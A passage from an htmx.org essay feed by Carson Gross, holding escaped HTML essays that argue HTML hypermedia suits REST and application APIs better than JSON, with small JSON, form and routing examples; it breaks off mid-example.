&lt;p&gt;In order to characterize different levels of adherence to REST in these new areas, &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Richardson_Maturity_Model&quot;&gt;The Richardson Maturity Model&lt;&#x2F;a&gt; was proposed, consisting of various levels of “maturity” of APIs, with the highest level,
Level 3, consisting of “Hypermedia Controls”.&lt;&#x2F;p&gt;
&lt;p&gt;JSON is not a natural hypermedia and, therefore, hypermedia concepts can only be imposed on top of it.  A JSON engineer
attempting to meet Level 3 of the Richardson Maturity Model might return the following JSON corresponding to the
bank account example above:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;json&quot; style=&quot;background-color:#1f2329;color:#abb2bf;&quot; class=&quot;language-json &quot;&gt;&lt;code class=&quot;language-json&quot; data-lang=&quot;json&quot;&gt;&lt;span&gt;HTTP&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;1.1 200&lt;&#x2F;span&gt;&lt;span&gt; OK
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;account&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;: {
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;account_number&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;12345&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;balance&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;: {
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;currency&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;usd&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;value&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;100.00
&lt;&#x2F;span&gt;&lt;span&gt;        },
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;links&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;: {
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;deposits&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;&#x2F;accounts&#x2F;12345&#x2F;deposits&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;withdrawals&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;&#x2F;accounts&#x2F;12345&#x2F;withdrawals&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;transfers&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;&#x2F;accounts&#x2F;12345&#x2F;transfers&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;close-requests&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;&#x2F;accounts&#x2F;12345&#x2F;close-requests&amp;quot;
&lt;&#x2F;span&gt;&lt;span&gt;        }
&lt;&#x2F;span&gt;&lt;span&gt;    }
&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Here, the “hypermedia controls” are encoded in a &lt;code&gt;links&lt;&#x2F;code&gt; property on the account object.&lt;&#x2F;p&gt;
&lt;p&gt;Unfortunately, the client of this API still needs to know quite a bit of additional information:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;What http methods can be used against these URLs?&lt;&#x2F;li&gt;
&lt;li&gt;Can it issue a &lt;code&gt;GET&lt;&#x2F;code&gt; to these URLs in order to get a representation of the mutation in question?&lt;&#x2F;li&gt;
&lt;li&gt;If it can &lt;code&gt;POST&lt;&#x2F;code&gt; to a given URL, what values are expected?&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;Compare the above JSON with the following HTTP response, retrieved by a browser after a user has clicked on the
link to &lt;code&gt;&#x2F;accounts&#x2F;12345&#x2F;deposits&lt;&#x2F;code&gt; found in the first HTML example:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;html&quot; style=&quot;background-color:#1f2329;color:#abb2bf;&quot; class=&quot;language-html &quot;&gt;&lt;code class=&quot;language-html&quot; data-lang=&quot;html&quot;&gt;&lt;span&gt;HTTP&#x2F;1.1 200 OK
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;html&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;  &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;body&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;form &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;method&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;post&amp;quot; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;action&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;&#x2F;accounts&#x2F;12345&#x2F;deposits&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;        &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;input &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;name&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;amount&amp;quot; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;type&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;number&amp;quot; &lt;&#x2F;span&gt;&lt;span&gt;&#x2F;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;        &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;button&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;Submit&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;button&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;form&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;  &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;body&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;html&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Note that this HTML response encodes all the information necessary to update the account balance, providing a &lt;code&gt;form&lt;&#x2F;code&gt; with a &lt;code&gt;method&lt;&#x2F;code&gt;
and &lt;code&gt;action&lt;&#x2F;code&gt; attribute, as well as the inputs necessary for updating the resource correctly.&lt;&#x2F;p&gt;
&lt;p&gt;The JSON representation does not have the same self-contained “uniform interface” as the HTML representation does.&lt;&#x2F;p&gt;
&lt;p&gt;Labelling JSON APIs, no matter how far they stray from RESTful concepts, as ‘REST’ has lead Roy Fielding to say:&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;I am getting frustrated by the number of people calling any HTTP-based interface a REST API. Today’s example is the SocialSite REST API. That is RPC. It screams RPC. There is so much coupling on display that it should be given an X rating.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;While attempts have been made to impose more elaborate hypermedia controls on JSON APIs, broadly the industry has rejected
this approach in favor of simpler RPC-style APIs that forego HATEOAS and other elements of the REST-ful architecture.&lt;&#x2F;p&gt;
&lt;p&gt;This fact is strong evidence for the assertion that a natural hypermedia such as HTML is a practical
necessity for building RESTful systems.&lt;&#x2F;p&gt;
&lt;style&gt;
  .content {
    font-family: &#x27;Source Serif Pro&#x27;, serif;
    text-align: justify;
    hyphens: auto;
    margin-bottom: 3em;
  }

  .content h1 {
    font-family: &#x27;Lexend Zetta&#x27;, Haettenschweiler, Impact, sans-serif;
    margin: 16px;
    font-size: min(10vw, 6em);
    line-height: 1em;
    margin-bottom: 5rem;
    text-align: center;
  }

  .content section:after {
    content: &#x27;&lt; &#x2F; &gt;&#x27;;
    content: &#x27;&lt; &#x2F; &gt;&#x27; &#x2F; &#x27;&#x27;;
    display: block;
    margin-bottom: 32px;
    text-align: center;
    color: #aaa;
    font-weight: bold;
    letter-spacing: .5em;
  }

  .content h2 {
    font-size: 1em;
    margin: 16px;
    margin-top: 32px;
    text-transform: uppercase;
    letter-spacing: .1em;
    text-align: center;
  }
    .content h2 em {
      text-transform: none;
      letter-spacing: 0;
    }

  .content a {
    font-variant: all-small-caps;
    letter-spacing: .08em;
    font-weight: 600;
  }

  .content blockquote {
    border: none;
    font-style: italic;
    font-size: 1.1em;
  }
&lt;&#x2F;style&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Splitting Your Data &amp;amp; Application APIs: Going Further</title>
        <published>2021-09-16T00:00:00+00:00</published>
        <updated>2022-02-06T00:00:00+00:00</updated>
        
        <author>
          <name>
            Carson Gross
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://htmx.org/essays/splitting-your-apis/"/>
        <id>https://htmx.org/essays/splitting-your-apis/</id>
        
        <content type="html" xml:base="https://htmx.org/essays/splitting-your-apis/">&lt;p&gt;&lt;strong&gt;TLDR:&lt;&#x2F;strong&gt; If you split your API into Data and Application APIs, &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;max.engineer&#x2F;server-informed-ui&quot;&gt;as advocated here&lt;&#x2F;a&gt;,
you should consider changing your Application API from JSON to Hypermedia (HTML) &amp;amp; using a &lt;em&gt;hypermedia-oriented&lt;&#x2F;em&gt; library like
&lt;a href=&quot;&#x2F;&quot;&gt;htmx&lt;&#x2F;a&gt; to reap the benefits of the hypermedia model (simplicity, reliability, flexibility, etc.)&lt;&#x2F;p&gt;
&lt;h2 id=&quot;the-problem&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#the-problem&quot; aria-label=&quot;Anchor link for: the-problem&quot;&gt;The Problem&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;Recently, &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;max.engineer&#x2F;&quot;&gt;Max Chernyak&lt;&#x2F;a&gt; wrote an essay entitled
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;max.engineer&#x2F;server-informed-ui&quot;&gt;Don’t Build A General Purpose API To Power Your Own Front End&lt;&#x2F;a&gt;.  His
TLDR is this:&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;YAGNI, unless you’re working in a big company with federated front-ends or GraphQL.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;He then discusses some of the different needs of a general purpose API and your application API.  He lists the
following as needs for a generic API:&lt;&#x2F;p&gt;
&lt;div style=&quot;padding-left:64px&quot;&gt;
&lt;ol&gt;
&lt;li&gt;How to predict and enable all possible workflows&lt;&#x2F;li&gt;
&lt;li&gt;How to avoid N+1 requests for awkward workflows&lt;&#x2F;li&gt;
&lt;li&gt;How to test functionality, performance, and security of every possible request&lt;&#x2F;li&gt;
&lt;li&gt;How to change the API without breaking the existing workflows&lt;&#x2F;li&gt;
&lt;li&gt;How to prioritize API changes between internal and community requirements&lt;&#x2F;li&gt;
&lt;li&gt;How to document everything so that all parties can get stuff done&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;&#x2F;div&gt;
&lt;p&gt;And these as application API needs:&lt;&#x2F;p&gt;
&lt;div style=&quot;padding-left:64px&quot;&gt;
&lt;ol&gt;
&lt;li&gt;How to collect all the data needed to render a page&lt;&#x2F;li&gt;
&lt;li&gt;How to optimize requests to multiple endpoints&lt;&#x2F;li&gt;
&lt;li&gt;How to avoid using API data fields in unintended ways&lt;&#x2F;li&gt;
&lt;li&gt;How to weigh the benefit of new features against the cost of new API requests&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;&#x2F;div&gt;
&lt;p&gt;I will term this misalignment of needs the &lt;strong&gt;Data&#x2F;App API Impedance Mismatch&lt;&#x2F;strong&gt; problem.&lt;&#x2F;p&gt;
&lt;p&gt;Max’s recommendation is to split the API into two “halves”: a generic API and an application API:&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;I suggest you stop treating your frontend as some generic API client, and start treating it as a half of your app.&lt;&#x2F;p&gt;
&lt;p&gt;Imagine if you could just send it the whole “page” worth of JSON. Make an endpoint for &lt;code&gt;&#x2F;page&#x2F;a&lt;&#x2F;code&gt; and render the whole JSON for &lt;code&gt;&#x2F;page&#x2F;a&lt;&#x2F;code&gt; there.
Do this for every page. Don’t force your front-end developers to send a bunch of individual requests to render a complex page.
Stop annoying them with contrived limitations. Align yourselves.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;right-about-what-s-wrong&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#right-about-what-s-wrong&quot; aria-label=&quot;Anchor link for: right-about-what-s-wrong&quot;&gt;Right about What’s Wrong&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;I agree entirely with Max on the problem here.&lt;&#x2F;p&gt;
&lt;p&gt;I would particularly emphasise the fact that the generic API needs to be stable, whereas the application API must change
rapidly to address application needs.&lt;&#x2F;p&gt;
&lt;p&gt;Jean-Jacques Dubray, in &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.infoq.com&#x2F;articles&#x2F;no-more-mvc-frameworks&#x2F;&quot;&gt;this article&lt;&#x2F;a&gt; relates the following sad state of affairs for
API designers:&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;The worst part of my job these days is designing APIs for front-end developers. The conversation goes inevitably as:&lt;&#x2F;p&gt;
&lt;p&gt;Dev – So, this screen has data element x,y,z… could you please create an API with the response format {x: , y:, z: }&lt;&#x2F;p&gt;
&lt;p&gt;Me – Ok&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;This is a perfect encapsulation of the tension that Max has noticed, where API engineers want to design general,
stable APIs, but are subject to the whims of a quickly-changing UI with complex data needs that are often best
solved on &lt;em&gt;the server side&lt;&#x2F;em&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;As Max points out:&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;You can keep “page a” dumb to only do what it needs to do. You test the crap out of “page a” for bugs, security, performance. You can even fetch everything for “page a” in a single big SQL query.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;wrong-about-what-s-right&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#wrong-about-what-s-right&quot; aria-label=&quot;Anchor link for: wrong-about-what-s-right&quot;&gt;Wrong about What’s Right&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;So, again, I agree entirely with Max that there is a Data&#x2F;App API Impedance Mismatch problem and I applaud him for suggesting
that, rather than bailing out to a solution to like GraphQL, you split the APIs into two.&lt;&#x2F;p&gt;
&lt;p&gt;However, there is a &lt;strong&gt;next step&lt;&#x2F;strong&gt; to take:&lt;&#x2F;p&gt;
&lt;p&gt;Once you have split your application API from your generic data API, &lt;em&gt;you are no longer bound by the constraints of
a public data API&lt;&#x2F;em&gt; and are free to reconsider the &lt;em&gt;entire form&lt;&#x2F;em&gt; of that application API.  We can do whatever we’d like with
it, so let’s get a bit expansive in our thinking.&lt;&#x2F;p&gt;
&lt;p&gt;Note that core problems with the application API are rapid change and page (or resource) specific tuning.  It turns out that we
have a very good technology for dealing with &lt;em&gt;exactly&lt;&#x2F;em&gt; this problem: &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Hypermedia&quot;&gt;Hypermedia&lt;&#x2F;a&gt;!&lt;&#x2F;p&gt;
&lt;p&gt;Hypermedia, by way of HATEOAS, makes API churn &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;intercoolerjs.org&#x2F;2016&#x2F;02&#x2F;17&#x2F;api-churn-vs-security.html&quot;&gt;much less of a problem&lt;&#x2F;a&gt;.  When you change the shape of your hypermedia API, well,
that’s fine: the &lt;em&gt;new&lt;&#x2F;em&gt; API is simply reflected in the &lt;em&gt;new&lt;&#x2F;em&gt; HTML returned by the server.  You can add and modify end points
and, lo and behold (to a first order of approximation) your clients (that is, browsers) don’t need to be updated.&lt;&#x2F;p&gt;
&lt;p&gt;The browsers simply see the new HTML, and &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;intercoolerjs.org&#x2F;2016&#x2F;05&#x2F;08&#x2F;hatoeas-is-for-humans.html&quot;&gt;the humans driving them react to the new functionality appropriately&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;So, while I feel Max is on the right track, I also think he &lt;em&gt;doesn’t go far enough&lt;&#x2F;em&gt;: once you have made the mental
jump to solving the Data&#x2F;APP API Impedance Mismatch problem by splitting the two into separate concerns, it is only a
bit further down the road to rediscovering the advantages of hypermedia.&lt;&#x2F;p&gt;
&lt;p&gt;You may object that: “Oh, but hypermedia applications aren’t very usable, we don’t want to go back to web 1.0.”&lt;&#x2F;p&gt;
&lt;p&gt;That is a perfectly reasonable objection, but people have been working on that problem and there are now many libraries
available that address the usability issues of HTML &lt;em&gt;within the hypermedia model&lt;&#x2F;em&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;Two of my favorites are &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;unpoly.com&#x2F;&quot;&gt;unpoly&lt;&#x2F;a&gt; and, of course, my own &lt;a href=&quot;&#x2F;&quot;&gt;htmx&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;in-conclusion&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#in-conclusion&quot; aria-label=&quot;Anchor link for: in-conclusion&quot;&gt;In Conclusion&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;If you switch to a hypermedia application API (which really just means “use HTML, like you used to”) then you get all
of the benefits of the REST-ful web model (simplicity, reliability, etc.) and of server-side rendering in mature web frameworks
(caching, SQL tuning, etc.)&lt;&#x2F;p&gt;
&lt;p&gt;And, by choosing a hypermedia-oriented front end technology like htmx, you can create &lt;a href=&quot;&#x2F;examples&quot;&gt;excellent user experiences&lt;&#x2F;a&gt; within
that model.&lt;&#x2F;p&gt;
&lt;p&gt;Everything old is new again, but, this time, a little bit better.&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Hypermedia APIs vs. Data APIs</title>
        <published>2021-07-17T00:00:00+00:00</published>
        <updated>2022-04-07T00:00:00+00:00</updated>
        
        <author>
          <name>
            Carson Gross
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://htmx.org/essays/hypermedia-apis-vs-data-apis/"/>
        <id>https://htmx.org/essays/hypermedia-apis-vs-data-apis/</id>
        
        <content type="html" xml:base="https://htmx.org/essays/hypermedia-apis-vs-data-apis/">&lt;p&gt;A &lt;em&gt;hypermedia&lt;&#x2F;em&gt; API is an API that returns &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Hypermedia&quot;&gt;hypermedia&lt;&#x2F;a&gt;, typically HTML over
HTTP.  This style of API is distinguished from data APIs that do not return a hypermedia.  The most familiar form of this
latter style of API today is the ubiquitous JSON API.&lt;&#x2F;p&gt;
&lt;p&gt;These two different types of API have distinctly different design needs and, therefore, should use different design
constraints and adopt different goals when being created.&lt;&#x2F;p&gt;
&lt;p&gt;Hypermedia APIs:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Will be trivially &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Representational_state_transfer&quot;&gt;REST-ful&lt;&#x2F;a&gt;, since they are simply what &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.ics.uci.edu&#x2F;~fielding&#x2F;pubs&#x2F;dissertation&#x2F;rest_arch_style.htm&quot;&gt;Roy Fielding was describing&lt;&#x2F;a&gt;.&lt;&#x2F;li&gt;
&lt;li&gt;Should be driven by the needs of the underlying hypermedia application&lt;&#x2F;li&gt;
&lt;li&gt;May change dramatically &lt;em&gt;without&lt;&#x2F;em&gt; versioning information, because hypermedia utilizes &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Representational_state_transfer#Uniform_interface&quot;&gt;self describing messages&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;Should be passed directly to humans, to maximize the flexibility of the system&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;Data APIs, on the other hand:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Will not benefit dramatically from REST-fulness, beyond perhaps &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Richardson_Maturity_Model&quot;&gt;Level 2 of the Richardson Maturity Model&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;Should strive for both regularity and expressiveness due to the arbitrary data needs of consumers&lt;&#x2F;li&gt;
&lt;li&gt;Should be versioned and should be very stable within a particular version of the API&lt;&#x2F;li&gt;
&lt;li&gt;Should be consumed by code, processed and then potentially presented to a human&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;apis-today&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#apis-today&quot; aria-label=&quot;Anchor link for: apis-today&quot;&gt;APIs Today&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;Today, APIs are typically thought of in terms of JSON-over-HTTP.  These are almost always data-oriented APIs rather
than hypermedia APIs, although occasionally hypermedia concepts are incorporated into them (typically to
little benefit of the end users.)  There has been a &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;graphql.org&#x2F;&quot;&gt;movement away&lt;&#x2F;a&gt; from REST-ful APIs as the industry has begun
to &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;kieranpotts.com&#x2F;rebranding-rest&#x2F;&quot;&gt;recognize the problems with fitting data APIs into the REST-ful model.&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;This is a good thing: the industry should question REST-ful ideas in the Data API world and begin looking at older client-server
technologies that did a better job of servicing that particular network architecture, leaving REST instead to the network architecture
that it was coined to describe: hypermedia APIs.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;designing-a-hypermedia-api&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#designing-a-hypermedia-api&quot; aria-label=&quot;Anchor link for: designing-a-hypermedia-api&quot;&gt;Designing a Hypermedia API&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;To show how a hypermedia API might be designed differently than a data API, let’s consider the following situation,
which came up on the &lt;a href=&quot;&#x2F;discord&quot;&gt;htmx discord&lt;&#x2F;a&gt; recently:&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;I want a page with a form and a table on it.  The form will add new elements to the table, and the table will also be
polling every 30 seconds so that updates from other users are shown.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;Let’s consider this UI in terms of a base url, &lt;code&gt;&#x2F;contacts&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;The first thing we will need is an end point to retrieve the form and the table of current contacts.  This will
live at &lt;code&gt;&#x2F;contacts&lt;&#x2F;code&gt;, giving:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;txt&quot; style=&quot;background-color:#1f2329;color:#abb2bf;&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;&lt;span&gt;  GET &#x2F;contacts -&amp;gt; render the form &amp;amp; contacts table
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Next, we want to be able to create contacts.  This would be done via a POST to the same URL:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;txt&quot; style=&quot;background-color:#1f2329;color:#abb2bf;&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;&lt;span&gt;  GET &#x2F;contacts -&amp;gt; render the form &amp;amp; contacts table
&lt;&#x2F;span&gt;&lt;span&gt;  POST &#x2F;contacts -&amp;gt; create the new contact, redirect to GET &#x2F;contacts
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;with HTML that looks something like this:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;html&quot; style=&quot;background-color:#1f2329;color:#abb2bf;&quot; class=&quot;language-html &quot;&gt;&lt;code class=&quot;language-html&quot; data-lang=&quot;html&quot;&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;div&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;form &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;action&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;#39;&#x2F;contacts&amp;#39; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;method&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;post&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;      &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#848da1;&quot;&gt;&amp;lt;!-- form for adding contacts --&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;form&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;table&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
